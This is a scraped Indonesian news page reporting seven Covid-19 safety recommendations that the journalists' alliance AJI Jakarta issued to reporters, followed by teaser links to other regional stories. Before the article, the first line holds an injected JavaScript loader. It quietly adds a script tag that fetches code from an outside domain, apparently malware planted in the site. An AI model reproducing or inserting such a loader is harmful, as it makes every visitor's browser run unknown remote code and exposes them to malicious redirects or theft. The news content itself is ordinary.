(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Aliansi Jurnalis Indonesia (AJI) Jakarta memberikan tujuh himbauan kepada jurnalis dalam menyebarkan informasi ke publik terkait mewabahnya kasus virus corona alias Covid-19. Salah satu imbauannya, jurnalis disarankan menghindari kerumunan yang biasa terjadi pada konferensi pers.
Ketua AJI Jakarta Asnil Bambani mengatakan, himbauan bagi para jurnalis ini diberikan setelah pemerintah menetapkan penyebaran virus Covid-19 sebagai bencana nasional non alam. Pemerintah Provinsi DKI Jakarta pun sudah menutup sarana umum yang banyak terjadi kerumunan karena rentan penularan Covid-19.
Asnil mengatakan, perubahan strategi ini bersifat sementara demi keselamatan jurnalis di lapangan hingga masa penyebaran virus Covid-19 mereda. “Perlu dicatat, menghindari kerumuman bagi wartawan tetap berpegang teguh pada prinsip kebebasan pers dan hak atas informasi dan bukan alasan bagi para narasumber untuk menyembunyikan informasi penting bagi publik,” ujar Asnil melalui siaran pers, Minggu (15/3).
Adapun ketujuh imbauan dari AJI Jakarta tersebut di antaranya:
1) Mempublikasikan siaran pers disertai foto dan video peristiwa dengan catatan keterangan serta hak cipta gambar bergerak maupun tidak bergerak.
2) Menyajikan lembaran data yang diperlukan untuk memenuhi kebutuhan laporan berita.
3) Menyajikan live streaming atau pengiriman gambar secara online melalui situs atau link resmi yang disediakan oleh narasumber.
4) Menyajikan siaran langsung melalui platform media sosial atau aplikasi komunikasi dengan disertai waktu untuk tanya jawab melalui kolom komentar atau teknologi suara lainnya.
5) Menyajikan penyebaran video keterangan pers melalui video singkat dengan keterangan dan hak cipta atas gambar video bergerak.
6) Melakukan wawancara atau pertemuan tatap muka dengan narasumber dihimbau atas pertimbangan mendesak dengan persetujuan pimpinan redaksi dengan pencatatan sebagai dokumentasi penelusuran interaksi dekat dengan sesama manusia.
7) Para jurnalis untuk mendesak tim kehumasan dan komunikasi dari para narasumber agar siap menjawab pertanyaan dari para jurnalis melalui aplikasi komunikasi maka penting agar menyediakan nomor kontak yang bisa dihubungi demi kepentingan konfirmasi.
“Utamakan kesehatan dan keselamatan, tidak ada berita seharga nyawa,” ujar Asnil. (katadata)
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.